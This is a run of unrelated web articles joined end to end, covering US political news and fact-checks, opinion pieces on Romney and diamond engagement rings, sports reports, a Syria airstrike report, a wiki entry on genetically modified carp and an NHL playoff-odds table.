Asked about opposition from major groups, White House press secretary Sean Spicer said at his Wednesday press briefing that this bill was "patient-centric" and offered less to special interest groups than Obamacare had.
This list, to be updated as the debate continues, contains some of the groups that have said they have issues with the American Health Care Act:
Read MorePresident Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE is calling for NFL players to stand during the national anthem at games on Sunday.
After a day in which he fervently defended his administration's response to Hurricane Maria in Puerto Rico, Trump wrote on Twitter Saturday evening that it is "very important" for professional football players to "always" stand during the anthem.
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"Very important that NFL players STAND tomorrow, and always, for the playing of our National Anthem. Respect our Flag and our Country!" he tweeted.
Very important that NFL players STAND tomorrow, and always, for the playing of our National Anthem. Respect our Flag and our Country! — Donald J. Trump (@realDonaldTrump) September 30, 2017
The president ignited a public furor last week when he said during a rally in Alabama that players who kneel in protest during the anthem should be fired and urged supporters to walk out of NFL games when athletes take a knee.
NFL players across the country responded to Trump's remarks last Sunday by kneeling or linking arms during the national anthem in a show of solidarity.
Since then, Trump has called for an end to the demonstrations, which were intended to protest racial inequality and police misconduct. Even as he faced pressure this week over the administration's relief efforts in Puerto Rico, the president said it was "very important" to address the NFL protests.Republican candidates continue to attack Donald Trump on his past positions, claiming he is not the conservative he says he is today.
Jeb Bush picked up the attack by taking on Trump over tax policy.
"I cut taxes every year," Bush said at an Aug. 20 rally in New Hampshire. "He's proposed the largest tax increase in mankind's history, not just our own country's history."
The next day Bush repeated the basic claim in a fundraising email: "Trump proposed enacting the largest tax increase in American history."
Seems like something worth fact-checking.
Trump's tax plan
A spokesman for Bush told us that the former Florida governor was referring to Trump's 1999 proposal to raise taxes on the rich.
Trump, who at the time was considering a run for president under the Reform Party, proposed a one-time tax on individuals and trusts with a worth of $10 million or more. Trump said the one-time tax of 14.25 percent would raise $5.7 trillion and wipe out the debt. Trump said if the rich were having trouble liquidating their assets, they could pay off their tax over 10 years.
The New York Daily News featured a photograph of Trump with the words, "SOAK THE RICH."
Experts at the time bashed Trump's plan as economically and politically unviable.
"I don't think the plan makes much economic sense," Stephen Moore, director of fiscal policy studies at the libertarian Cato Institute, told the New York Times in 1999. "The fact is that most people's wealth that has been built up over 10, 20 or 50 years is wealth that has already been taxed."
Daniel Mitchell, a senior fellow at the Heritage Foundation in 1999, said of Trump's plan at the time, "The lunacy of this idea is almost indescribable." He raised concerns about the economic consequences, including that households would shift assets overseas to try to avoid confiscation.
Trump calculated that 1 percent of Americans would pay the Trump tax. He proposed that half of the savings would go toward middle-class tax cuts and the other half for Social Security.
A spokeswoman for Trump's 2016 presidential campaign, Hope Hicks, wouldn't tell us if Trump still supports that plan and said that he will release his current tax plan later this month.
But, in 2011, talk show host George Stephanopoulos asked Trump if he still supported that tax, and Trump said it was no longer viable.
"Well, at a time, it would have paid off the deficit. I mean, you wouldn't have a deficit, at that time," Trump said (though he confused debt and deficit). "Unfortunately, the world has changed. Today you can't do it. Today, and I'm very strongly against tax increases. And the reason I'm … "
"So, you're no longer for that tax?" Stephanopoulos asked.
"No, no. I'm no longer for that tax, no," Trump said.
Broken records?
Many tax experts told us that Trump's plan indeed would have been record-breaking in terms of revenue, but they said it was never going to happen and lacked major details.
"It certainly would have been the biggest ever simply because of its sheer size — it was trillions of dollars," said Roberton Williams, a fellow at the Tax Policy Center. However, "it's a totally crazy idea. … I don't think anybody was taking it seriously — it was Donald Trump being Donald Trump."
The United States' gross domestic product in 1999 was $9.7 trillion, so if Trump's tax had raised $5.7 trillion, that would have been 59 percent of GDP, said Chris Edwards of the Cato Institute.
Federal tax hikes typically are no more than 1 percent of GDP, Edwards said.
"The Bush 1990 hike and Clinton 1993 hike were less than 1 percent of GDP over five years — whereas Trump's tax would have been 59 percent one time in one year," Edwards said.
PolitiFact previously has looked into the largest tax increases as a percentage of GDP. Topping the list from 1940 to 2006 was the Revenue Act of 1942, which was about 5 percent of GDP.
Richard Phillips, an expert at the Citizens for Tax Justice research group, which aims to require the wealthy to pay their fair share, said that Trump's one-time tax proposal can't be compared to conventional tax reform, which typically refers to taxes collected annually.
"His estimate was based on a back-of-the-envelope calculation of total wealth of individuals with over $10 million in assets multiplied by the 14.25 percent rate," he said. "There are very real questions as to whether you could plausibly tax all forms of wealth and whether wealthy individuals would be able to take action to shield large swaths of their wealth from taxation."
Additionally, Trump proposed repealing the estate tax and enacting other tax cuts using the revenue that the federal government would save by no longer paying interest on the national debt. It's not clear how much those tax cuts would have cost and how much of the tax they would offset over time, Phillips said.
Bush said, "Trump proposed enacting the largest tax increase in American history."
We rate this claim True.
Edited for print. Read the full version at PolitiFact.com/florida.Auto Safety Features to Look Forward To in 2019
Whether you’re looking to trade-in your vehicle, lease one, or buy a new car, there are some exciting and innovative features on the horizon for many cars that are manufactured in 2019. While more automakers will be offering convenient tech features like wireless Wi-Fi connectivity or wireless charging options, even more will be improving their safety features.
From compact cars to SUVs, safety features not only help to protect drivers and passengers but many of today’s features are designed to prevent accidents in the first place. Even though there are many contributing factors in vehicle accidents, human error is responsible for a significant amount of accidents; safety features can help reduce driver error.
Some Safety Features to Check Out In The New Year
Auto manufacturers release specific safety features at different times. While luxury vehicles may provide newer safety features before other makes and models of vehicles, it’s only matter of time before we’re likely to see a wide array of top-of-line safety features in all new vehicles.
Read the rest of this entry »If the Republican primaries and presidential campaign have taught us anything, it is that Mitt Romney is not very good at politics. Incessant gaffes, strategic missteps, a paucity of policy prescriptions and a plethora of head-scratching tactical decisions have come to define his run for the White House. Quite simply, Mitt Romney is a bad politician.
But on Monday night, we learned something new – and profoundly unsettling – about him: he may very well also be a bad person.
I don't use those words lightly, but I'm not sure how else to interpret the comments he made at a closed-door fundraiser that were posted online by Mother Jones. They are devastating. They suggest a level of meanness and divisiveness in Romney's personal character that is disturbing – even disqualifying for the nation's highest office.
Look at how Romney classifies the 47% of Americans who don't pay federal income taxes:
"[They] will vote for the president no matter what. All right, there are 47% who are with him, who are dependent upon government, who believe that they are victims, who believe the government has a responsibility to care for them, who believe that they are entitled to healthcare, to food, to housing, to you-name-it. That that's an entitlement. And the government should give it to them. And they will vote for this president no matter what … These are people who pay no income tax … "[M]y job is is not to worry about those people. I'll never convince them they should take personal responsibility and care for their lives."
This is a breathtaking statement: a fundamental misunderstanding of the American social contract. Romney proposes here that the senior citizen living on a fixed income believes government has a responsibility to care for them – rather than that government has a responsibility to fulfil its obligation to them after they spent years paying into social security and Medicare. He is saying that workers laid-off from their jobs, who rely on food stamps to feed their children and unemployment insurance to pay their rent, believe government owes them food and shelter, rather than getting some support at a time of dire financial need which their payroll taxes had paid for when they were in work.
Romney's message to these voters, these 47% of Americans, is not only "I am not going to seek your vote"; it's "I don't respect you."
Worse than the crudeness of Romney's argument is its remarkable lack of social empathy. The United States provides healthcare, food, housing and "you-name-it" to our fellow citizens not as a means of capturing their vote, but because this is fundamental to the basic social compact. That fact seems to elude Romney.
So what does this mean for Romney's presidential prospects? Some conservatives seem overjoyed by the revelations – believing, it seems, that a "makers v takers" dividing line is a key to political success. Certainly, there is a cross-section of Americans who buy into Romney's Ayn Randian views. There is also plenty of evidence from the world of political science that gaffes might get everyone ginned up on Twitter, but they don't necessarily move voters.
This gaffe, though, has the potential to be different – because it insults so many individual Americans. Romney's Republican presidential forebears had the shrewd good sense to demonise easily stereotyped minorities: Richard Nixon took on the "shouters" and "demonstrators" in the 1960s, while Ronald Reagan attacked "welfare queens" in the 1980s. In his clumsy caricature, Romney has savaged just under half the electorate.
But the damage, once again, is self-inflicted: Romney has succeeded in highlighting the very things voters already don't like about him: that he is not genuine, saying one thing in public and another behind closed doors; that he is so cosseted in wealth he does not understand and cannot relate to the challenges of ordinary Americans; that a callous streak runs through the private equity guy's empathy deficit – the outsourcer who "likes firing people". The fact that these remarks were given at a private fundraiser to a group of fat cats only endorses these negative perceptions.
The biggest problem, though, may be the cumulative narrative: that it provides one more hit on Romney in a week in which he has done nothing right. First, there was his disastrous appearance on NBC's Meet the Press, in which he flip-flopped on repealing Obamacare and bizarrely attacked his own vice-presidential candidate for supporting defense cuts last summer. Then came his crass intervention in the political debate that followed the violence in Libya and Egypt, in which he falsely accused the president – on 11 September, of all days – of sympathizing with anti-American protesters. And even when that line of attack was comprehensively discredited, Romney doubled down on it the next morning. Finally, there was Sunday's night Politico report chronicling the in-fighting and mismanagement threatening to cripple his campaign.
It was a terrible week for Romney and the Republican party – one that suggested his campaign had acquired the hard-to-shake odor of loserdom. When that sense takes hold, every mistake, even minor ones, are magnified – feeding into the notion that the Romney team is the proverbial gang that can't shoot straight. We've seen this before, with George HW Bush in 1992; with Al Gore in 2000; with Sarah Palin in 2008. A meme of smelly failure develops around a candidate and every story is fitted to that emerging narrative. For Romney, the narrative now is that he is running, as David Brooks put it in the New York Times, a "depressingly inept presidential campaign".
It is hard to imagine how a presidential candidate could articulate such contempt towards virtually half the country that has not been as blessed with the advantages of being born into wealth and making more, as he has, and still hope to lead them. Whether or not Mitt Romney really is a bad person is perhaps irrelevant: he is clearly a bad politician – and this last week has made it highly unlikely that he will get the chance to be a bad president.I've been in the diamond business for over 10 years. I've traveled all over the world buying and selling diamonds. I've passed through most of the major airports across the United States with about a million dollars worth of diamonds in a leather wallet stuffed inside my pants. I've bought and sold diamonds in Dubai, Mumbai, Moscow, Hong Kong, Paris, Stockholm, Tel Aviv, Madrid and Barcelona. Even today I am involved on the fringe of the diamond business, running a diamond education site helping would-be buyers.
Considering my deep personal involvement in the diamond business, my opinion might surprise you -- diamonds are a terrible waste of your money.
Here are seven reasons why:
1) The most common misconception about engagement rings is that they're some kind of ancient tradition that's deeply embedded in human history in societies around the world. This is completely false. The idea of a diamond engagement ring is roughly a century old. Guess who invented the concept? Not surprisingly, it's the same people who mined the diamonds -- the De Beers diamond syndicate. How far did De Beers go in their quest to create demand for diamonds? Edward Jay Epstein notes in his famous investigative article:
"In its 1947 strategy plan, the advertising agency strongly emphasized a psychological approach. "We are dealing with a problem in mass psychology. We seek to... strengthen the tradition of the diamond engagement ring -- to make it a psychological necessity capable of competing successfully at the retail level with utility goods and services...." It defined as its target audience "some 70 million people 15 years and over whose opinion we hope to influence in support of our objectives." N. W. Ayer outlined a subtle program that included arranging for lecturers to visit high schools across the country. "All of these lectures revolve around the diamond engagement ring, and are reaching thousands of girls in their assemblies, classes and informal meetings in our leading educational institutions," the agency explained in a memorandum to De Beers."
I have nothing against clever marketing campaigns, but this is different. It's not like with cars, for example. You know you need a car, so the car companies compete for your attention with their ads.
In this case De Beers spent millions upon millions convincing the public that they needed to buy a product that they basically created out of thin air (thin air that they alone controlled).
2) Diamonds are not an investment -- they are a retail product like any other. People explain away spending thousands of dollars on a little stone because they mistakenly believe that the diamond is a solid investment. Are there any other investment classes where the person selling you the asset makes a minimum 10 percent profit margin (usually much more)? Most people would be lucky to get half of what they paid if they tried to sell a ring the day after they bought it. Don't fool yourself into thinking that buying a diamond is a safe place to put away money for a rainy day.
3) The diamond jewelry market is a shark tank. Even consumers that spend hours online learning about diamonds can easily get screwed by one of the many unscrupulous dealers out there (both online and bricks & mortar). There's virtually no end to the various games dealers can play to help them eke out a higher return (and therefore giving you less value).
4) Spending a month's (or two!) salary on something so impractical -- at the exact same time you are beginning your new life together as a budding family -- is a very poor financial decision. I'm not only a very experienced diamond dealer, I'm also a father of six, married for 13 years. The expenses only grow with time, they don't get easier! Believe me, five years later, you'll be wishing you had a spare five grand lying around.
5) Men, you don't need to waste a ton of money to prove your manhood. If Mark Zuckerberg can forgo the diamond engagement ring, then you can too.
6) Women, you don't need your man to waste a ton of money to prove that he loves you.
7) If your man buys you a diamond as a means to keep you quiet for another year about marriage, he probably should be dumped anyway. Find someone more grounded who is excited about building a life together with you -- not someone who's trying to continue being single while taking you along for the ride.
I have consciously left out of this list any arguments about immoral practices in the diamond business (i.e., blood diamonds, unfavorable working conditions, and child labor). The odds of buying an actual blood diamond in developed countries are extremely low. There are checks and balances in place that would make it extremely risky for a dealer to sneak something in illegally.
I don't want to be perceived as hypocritical. If one takes a stance against poor working conditions, then I believe it should be done across the board. I don't believe the diamond business is any more guilty than any other industry that does most of its production in poorer countries on the other side of the world.
Moral issues aside, there are enough reasons not to succumb to the greatest scam in history. If you hang around a group of diamond dealers for a day, there's a word you'll hear passed around quite a bit -- "illusion." As in "I lost my illusion in that diamond." "He wouldn't sell me the diamond at my asking price because he still has tons of illusion in that stone." It's diamond dealer jargon for a projection of high value onto something. When you "lose your illusion" in a diamond, it means you have succumbed to the reality that you will be selling it for less than you had hoped for. When you "have illusion" in a diamond, it means that you still believe you're going to sell it for a great price because it's such a knockout stone.
It's rather amazing that the very people who buy and sell millions of dollars of diamonds a year acknowledge the ephemeral nature of their value at the same time that their lives are completely invested in them.
Ladies and Gentlemen, please take the red pill. Don't believe in the illusion. Pass this article on to your friends. Share it, Like it, Tweet it. Lets start a new movement together.
If you find yourself not being able to fight the social pressure to get a diamond ring, it's OK. There are many like you. It's not a simple thing to resist. Just please do yourself a favor and speak to an expert who can help you make sure that at the very least you spend as little as possible on the illusion and still come away with something that serves its purpose.What do you do when you have $43bn (£30bn) in your back pocket? Why, you buy companies like there’s no tomorrow. A couple of years ago, Google decided that it needed to get into robotics, so it went shopping for robotics companies. It picked up eight, all for the search giant’s equivalent of small change.
What the hell was a search company doing getting involved in this business? Now we know: it didn’t have a clue
From the mainstream media’s point of view, the most interesting of these acquisitions was Boston Dynamics, an east coast firm that specialised in making robots with legs. At the time, its best-known product was BigDog, a quadruped that was designed with funding from the Pentagon in the hope that it would serve as an automated pack animal for US soldiers operating in rough terrain where wheeled vehicles couldn’t go. BigDog worked as advertised, but made such a racket that any soldier hoping to surprise the enemy would have been better advised to travel with a brass band and so it was eventually retired from active service.
The Boston Dynamics robots are both impressive and creepy, as even a cursory inspection of YouTube videos will confirm. One of them – the Atlas – is a muscular-looking biped that can pick itself up off the floor after being felled by a sneaky chap with a hockey stick. What’s particularly creepy is the fact that the robot never gets annoyed, even while it is being taunted by the guy with the stick. Personally, I would have zapped him.
But I digress. The question on everyone’s mind as Google hoovered up robotics companies was: what the hell was a search company doing getting involved in this business? Now we know: it didn’t have a clue.
Last week, Bloomberg revealed that Google was putting Boston Dynamics up for sale. The official reason for unloading it is that senior executives in Alphabet, Google’s holding company, had concluded (correctly) that Boston Dynamics was years away from producing a marketable product and so was deemed disposable. Two possible buyers have been named so far – Toyota and Amazon. Both make sense for the obvious reason that they are already heavy users of robots and it’s clear that Amazon in particular would dearly love
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Tom Boonen has voiced criticism of the UCI after stage one of Paris-Nice on Monday.
Riding 195km from Condé-sur-Vesgre to Vendôme the riders faced snow and cold rain for large parts of the day, and as such Boonen believes there were ground for the UCI’s Extreme Weather Protocol to be enacted.
The stage also included two sectors of gravel road, which was great from a spectator’s point of view but ensured the riders finished looking more like they’d been racing cyclocross.
The Extreme Weather Protocol sets provision for race organisers and teams to request changes to a race route, or shorten the stage where necessary.
“There is a new UCI protocol and they don’t follow their own rules. That’s the most important fact of this stage,” Boonen told Belgian outlet Sporza.
“We did 200 kilometres in really bad weather. I know it’s hard to find solutions here, but nothing has happened yet again.
“The problem is that there is nothing to do once you get started. You can stop and sit on the side of the road, but what does it help?” Boonen added.
Despite his protestations, Boonen was able to finish the stage in sixth place. This top ten hints at a level of form that he’ll need if he is to conquer the Classics this spring.
It has been speculated that this will be the four-time Paris-Roubaix winner’s last season, but he has stated that this will be his decision alone and that no date has yet been set.
For now he is just trying to stay safe in the bunch and get the riding in that he’ll need if he is to win any big races this year.
“For me it was very important to finish safely and gain kilometres before the Classics. Now I’ll try to recover after this hard stage and continue to improve in the following days,” he concluded.At its core, Facebook is a photo-sharing company. It's enhanced by other features such as status updates and shared links.
To be the ultimate social site, Facebook needs to be the best sharing platform out there for all types of media, including articles, photos and video.
Twitter has proven to be a worthy competitor. It's arguably a better source for social news and link sharing despite having fewer global users. Its video product, Vine, has been gaining in popularity while Facebook lacks a good video solution (although Instagram may be launching a video product on Thursday).
The only thing Twitter is missing is a powerful photo tool. It tried to secure one - Instagram - but Facebook smartly blocked the sale.
In a recent interview with PandoDaily's Sarah Lacy, Union Square Ventures investor Fred Wilson discussed how "genius" it was for Facebook to acquire Instagram, especially because Twitter's Jack Dorsey made an offer first.
"If [Twitter] had Instagram they would be better than Facebook," Wilson told Lacy. (Disclosure: Wilson invested in Twitter). "They'd have tweets; they'd have photos; and they'd have videos. And I think that would be the trifecta that would kill Facebook."
Here's the clip:Your friends are getting engaged. Don't let this spark a fight in your own relationship.
We're in the thick of it: Engagement Season. Your friends and cousins are all getting engaged. It's the holidays and the perfect time to be sentimental, pop the question and have family around. I get it.
Weddings are fun, don't get me wrong. An excuse to buy a new dress, curl your hair and feel pretty. And the best part is that it's a built-in date for you and your man. Great ambiance, free champagne and love is in the air; Most girls love this.
But I'm willing to bet that engagement season causes more relationship strain than any other issue. Why? Because while girls love the idea of proposals and weddings, guys can get realllly stressed about them.
First, girlfriends get all woozy on Pinterest fantasizing. What will my wedding be like? What will I wear? How will he propose?
Then girls start that conversation directly with their men. Uh-oh. He starts to get hot under his shirt and tie. The walls start closing in. Even the most in-love men, have anxiety about weddings.
Men and Evolution I have some theories on this. First, evolution. Men are not innately programmed to think about commitment and monogamy. It sounds a bit grim, but nature can be a real force in all humans. Another theory:getting engaged is heavy for a guy, financially. Buying an engagement ring, supporting your new family. Granted times have changed and couples usually split things 50/50, but there's still an element of man-supports-woman. Guys are just guys, they love differently. Weddings don't necessarily mean love to them, it's just another day. It's kind of sweet, actually. To hear your boyfriend say, I don't care about a wedding, I care about living every day with you.
What should you do? Keep your mouth shut.
Engagements will provoke a lot of questions and conversations for you to start. But wait a minute before you blurt out, "When are we going to get married?" Just enjoy the evening. Keep it simple.
Fantasize, secretly. I'll admit, it gives me brain-butterflies to think about my wedding: walking down the aisle, the colors, the beachy dress, my long hair flowing, taking his breath away—you get the picture. I literally have a secret Pinterest board for this fantasy wedding. But it's fun to think about, it gives you a good feeling. And good vibes, we like them. So just fantasize internally. It will make you smile, and smiling is sexy. No need to share the fantasy with your man, share it with your girlfriends.
For More Love Advice From YourTango:Despite Bill Murray's reputation as a freewheeling comedian who loves nothing more than to crash unsuspecting civilians' engagement photo shoots and bachelor parties, there's more to the 66-year-old star than just cooler-than-cool ridiculousness. For every Stripes, Ghostbusters, and Groundhog Day, there are at least three other Murray gems that don't get the respect they deserve, in large part because they're not necessarily the biggest, best comedies of the past 30 years.
The Razor's Edge (1984)
In the same year that he got slimed with ectoplasm, Murray took on his first serious dramatic role in John Byrum's adaptation of W. Somerset Maugham's 1944 novel The Razor's Edge. As an upper-cruster who joins the army as an ambulance driver in WWI and returns home discontent with everything, sending him on a quest for self-definition in Paris and India, Murray has a detached reservation that's in keeping with his character's inner confusion and isolation. While he shines during the occasionally humorous moments, it's the hollow, far-off look in his eyes — and the sense that he's not quite there anymore — that truly sells the performance, and marks it as the first indication of Murray's adeptness at marrying silliness and somberness.
Watch on iTunes
Quick Change (1990)
Co-directed by Murray, 1990's Quick Change is the single most underrated comedic performance of the star's career. In this hilarious heist film, a bank robbery — pulled off by Murray (in a clown suit), Geena Davis, and Randy Quaid — goes off swimmingly, but the trio's attempts to escape Manhattan for the airport prove farcically arduous. Faced with a non-stop stream of real-world obstacles, Murray gets flustered, acts out, and generally behaves like you'd imagine Bill Murray might in such a situation. There's nothing groundbreaking about the role, but the film's canny construction is ideally suited to Murray's instincts, and provides him with opportunities for all sorts of foolishness.
Watch on Amazon Instant and iTunes
Hamlet (2000)
Far from a Shakespearean thespian, Bill Murray nonetheless almost steals the show in Michael Almereyda's superb modern update of Hamlet. Relocated to Manhattan, where Hamlet (Ethan Hawke) is a film student in line to take over Denmark Corporation, Almereyda's adaptation features Murray as Polonius. With an exhaustion seemingly born from a life that has taught him that the jokes are always on us, Murray achieves a level of sorrowful grandeur that no other role has ever quite afforded him — no surprise, given the peerless material with which he's working. In particular, his speech to his son Laertes (Liev Schreiber) is a subdued tour-du-force.
Watch on Amazon Instant, iTunes, and Netflix
Coffee and Cigarettes (2003)
Jim Jarmusch's Coffee and Cigarettes is a black-and-white omnibus film whose 11 vignettes are all linked by the recurring motifs of cups of joe and smokes. In each short, characters sit around and agreeably disagree with each other, and none is funnier than "Delirium," which finds the Wu-Tang Clan's RZA and GZA at a diner, where their waiter just happens to be Bill Murray. Or, as GZA puts it, "Bill Groundhog-Day-Ghostbusting-Ass Murray!" As RZA and GZA expound on the dangers of dairy and the benefits of herbal tea, Murray shows up to serve them some coffee, and to guzzle straight from the carafe. Wearing a paper hat and a matching smock, he proceeds to discuss the delirium too much caffeine causes him, as well as the smoker's cough he's got, all while his hip-hop buddies give him some helpful medical advice. Absurdist through and through, it's Murray at his most casually, amusingly laid-back.
Watch on Amazon Instant, iTunes, and Netflix
Broken Flowers (2005)
Two years after Coffee and Cigarettes, Murray reunited with Jarmusch for his own starring feature, Broken Flowers. Mining a vein of deep, mournful regret, Murray stars as a former ladies' man who receives an anonymous letter in the mail informing him that he has a son, and responds by embarking on a cross-country quest to visit four former lovers, each of whom might be the kid's mother. It's a role that allows Murray to use his sad-sack attitude for consistent dry laughs while also pinpointing remorse and pain as one of the great sources of his comedy.
Watch on Amazon Instant, iTunes, and NetflixAMMAN (Reuters) - Military jets believed to be Russian killed at least 60 civilians trying to flee heavy fighting in the oil rich Deir al Zor province of Syria when their small boats were targeted as they sought to cross the Euphrates River, opposition activists, former residents and a war monitor said late on Wednesday.
They said the jets targeted makeshift rubber dinghies and boats carrying dozens of families fleeing the town of al Ashara along the western banks of the Euphrates that lies south of Deir al Zor city, the provincial capital.
Islamic State’s last major stronghold, the cities, towns and farms in the fertile strip along the Euphrates bordering Iraq are fast becoming the focus of Syria’s six-year-long civil war.
“Russian jets staged a second wave of strikes on the boats that were fleeing across the river causing more casualties among those who rushed to rescue earlier survivors,” said Abdullah al Akaidat, a tribal figure in northern Syria from Al Ashara who is in contact with relatives in the area.
Russia is throwing military weight behind the Syrian army campaign’s to regain the province bordering Iraq, racing with U.S- backed forces to grab territory from Islamic State.
U.S. coalition jets last year destroyed bridges that linked villages on the northeast of the Euphrates river with towns on the opposite bank.
Although the goal was to cut militant supply lines, it forced people to use ferries to cross the river and its tributaries and ruptured a major lifeline for civilians, raising prices of goods and food.
Fifteen civilians were killed in air strikes during the last 24 hours on the town of al Quriya, just further north of the town of Ashara along the river, said former residents in touch with relatives.
Thousands of residents of the eastern province are fleeing war-torn zones to the safety of towns that have escaped relatively unscathed from the relentless fighting.
The Russians built a bridge across the Euphrates near Deir Zor city to move troops and equipment.
The militants waged a surprise counter offensive and claimed to have killed dozens of Syrian troops, Russian ground troops and Iranian-backed fighters. They regained some territory back.
Islamic State released a video on Tuesday of two injured men it claimed were Russian soldiers captured in Deir al Zor province. Reuters could not verify the authenticity of the tape.
The Syrian army is seeking to advance toward Mayadeen, a city in the province 44 km southeast of Deir Zor, where the river flows through it.
Mayadeen is a major Islamic State stronghold that has also been targeted by the U.S.-led coalition which had earlier this year also increased bombing of the group in cities and towns along the Euphrates valley.
Relentless airstrikes by Russian jets in Deir al Zor province have intensified in recent days according to the Syrian Observatory for Human Rights. The war monitor documented the death of at least 185 civilians, including at least 45 woman and children, in five days of aerial strikes.
Russia rejects opposition and human rights groups accusations that the bombing campaign has killed thousands of civilians since its major intervention two years ago that turned the tide in favor of Syrian President Bashar al-Assad.
Scores of hospitals and civil defense centers have been bombed in what the opposition said is a “scorched earth policy” to paralyze life in rebel-held areas. Moscow says it only attacks hardline Islamists.The Daughterless Carp Project is a scientific project that is seeking to develop an eradication technique for carp. The technique involves genetically modifying European carp so they can only have male offspring. The introduction of daughterless carp into a population will lead to an all-male population, and the species will eventually die out. The technique has been developed for the CSIRO for the control of invasive carp populations in Australia.
European carp in Australia [ edit ]
European carp were introduced into Australia in the 19th century. As carp are prolific breeders, hardy and highly adaptable, they quickly established themselves in Australia's waterways. In the 1960s, carp appeared in Australia's largest river system, the Murray–Darling basin.
The environmental impact of carp has been enormous. Feeding carp stir up the bottom of the river, stirring up mud and increasing turbidity in the water. Because the fish breed in such large numbers, they have come to dominate the river system. Carp have been estimated to comprise 90% of the fish population of the Murray River with a density of one fish per cubic metre. As carp are established, it is impossible to eliminate them using conventional techniques.
Scientific principle [ edit ]
Female fish development relies heavily on the hormone estrogen, which is produced by the transformation of androgen by the enzyme aromatase. Daughterless carp are produced by blocking the gene that produces aromatase, which prevents the development of female embryos and leads to an all-male population.
If fish are released into the environment, the gene will propagate throughout the population. It is possible to use an aggressive genetic modification that will rapidly self-propagate. Once carp are introduced, terminal population decline would be inevitable. However, if such fish were released into the carp's native range, it would decimate those populations. Also, a small risk exists that the gene could transfer over to native fish populations, eliminating them as well; however, as carp do not breed with any native Australian species, the risk of the technology affecting anything other than the targeted pest in Australia is extremely low[1]. Scientists have selected a less aggressive approach that will require constant seeding into the population.[citation needed] Left alone, the wild healthy genes would come to dominate.
Development [ edit ]
The project was conceived in 1995. Initial trials were conducted using zebra fish. Zebra fish were ideal candidates for initial trials as they are closely related to carp and have very short generation times. Zebra fish populations have been successfully converted to 100% males. Laboratory trials on carp are now being conducted at Auburn University in Alabama. Initial results indicate that the daughterless techniques works well in carp. Should the trials be successful, field trials may occur in isolated systems in Australia in the late 2010s. It is unknown when full scale deployment of this system would happen. In practice, the other population control techniques such as introduction of koi herpes virus may be used in combination with daughterless carp to improve the effect.
See also [ edit ]
References [ edit ]
[2] [3] [4] [5] [6] [7]Ottawa Senators Playoff Chances Lost to Washington 2-7, playoff odds unchanged at 0% 49 points 22 36-5 Add your own league How are these numbers calculated? Big Games How we did yesterday and who we should root for today. Explain Tuesday 100.0* Chance in playoffs Washington 7 Ottawa 2 Out Wednesday None What If Chances based on how well the Ottawa finish out the regular season. Explain 100 100 100 100 100 100 100 100 100 100 100 100 100 100 If finish: Chance in Pres Division seed Conference seed (wildcard race) TP W L - OT playoffs Trophy 1a 1b 2 3 WCb WCa 9 10 11 12 13 14 15 16 Count 87 19 0 - 0 Out No 4 55 32 8 1 1,054 84 17 1 - 1 Out No 11 33 28 28 18 * 83 16 1 - 2 Out No 1 16 43 34 4 67 * 82 16 2 - 1 Out No 1 10 33 41 13 2 225 * 81 15 2 - 2 Out No 1 4 20 45 29 1 726 * 80 14 2 - 3 Out No 0 1 11 36 45 7 0 2,145 * 79 14 3 - 2 Out No 0 0 4 28 52 15 0 5,476 * 78 13 3 - 3 Out No 0 2 17 55 25 1 12,672 * 77 13 4 - 2 Out No 0 0 9 51 38 2 27,856 * 76 12 4 - 3 Out No 0 4 43 49 4 54,911 * 75 12 5 - 2 Out No 0 2 32 58 8 102,338 * 74 11 5 - 3 Out No 0 1 22 63 14 175,224 * 73 11 6 - 2 Out No 0 14 64 22 281,679 * 72 10 6 - 3 Out No 0 8 60 32 207,809 11 7 - 1 Out No 0 8 60 33 215,583 * 71 10 7 - 2 Out No 0 4 52 43 275,633 9 6 - 4 Out No 0 4 52 44 322,997 * 70 9 7 - 3 Out No 0 2 43 55 387,935 10 8 - 1 Out No 0 2 43 55 405,535 * 69 9 8 - 2 Out No 1 33 66 452,372 8 7 - 4 Out No 0 1 33 66 537,901 * 68 8 8 - 3 Out No 0 24 75 564,642 9 9 - 1 Out No 0 24 75 310,592 7 7 - 5 Out No 0 24 76 280,914 * 67 8 9 - 2 Out No 0 17 83 583,019 7 8 - 4 Out No 0 17 83 467,656 6 7 - 6 Out No 0 16 83 222,985 * 66 7 9 - 3 Out No 0 11 89 644,729 8 10 - 1 Out No 0 11 89 362,104 6 8 - 5 Out No 0 10 89 312,807 * 65 7 10 - 2 Out No 0 6 94 600,929 6 9 - 4 Out No 0 6 94 463,182 5 8 - 6 Out No 0 6 94 222,253 * 64 6 10 - 3 Out No 0 4 96 573,916 7 11 - 1 Out No 0 4 96 338,259 5 9 - 5 Out No 0 4 96 260,000 * 63 6 11 - 2 Out No 0 2 98 487,670 5 10 - 4 Out No 2 98 522,562 * 62 5 11 - 3 Out No 1 99 396,831 6 12 - 1 Out No 1 99 411,713 * 61 5 12 - 2 Out No 0 100 308,180 4 11 - 4 Out No 0 100 302,138 * 60 4 12 - 3 Out No 0 100 207,349 5 13 - 1 Out No 0 100 219,241 * 59 4 13 - 2 Out No 0 100 278,183 * 58 3 13 - 3 Out No 0 100 167,211 * 57 3 14 - 2 Out No 0 100 92,823 * 56 3 15 - 1 Out No 0 100 46,962 * 55 2 15 - 2 Out No 0 100 21,664 * 49 -54 Out No 100 14,678 * Total: Out No 0 0 0 0 0 2 18 80 13,155,348 * Row combines multiple less frequent records. Points (Full Screen) Chance Will Make Playoffs (Full Screen) Lottery We are out of the playoffs. Here are the big games and what ifs for draft seeds.
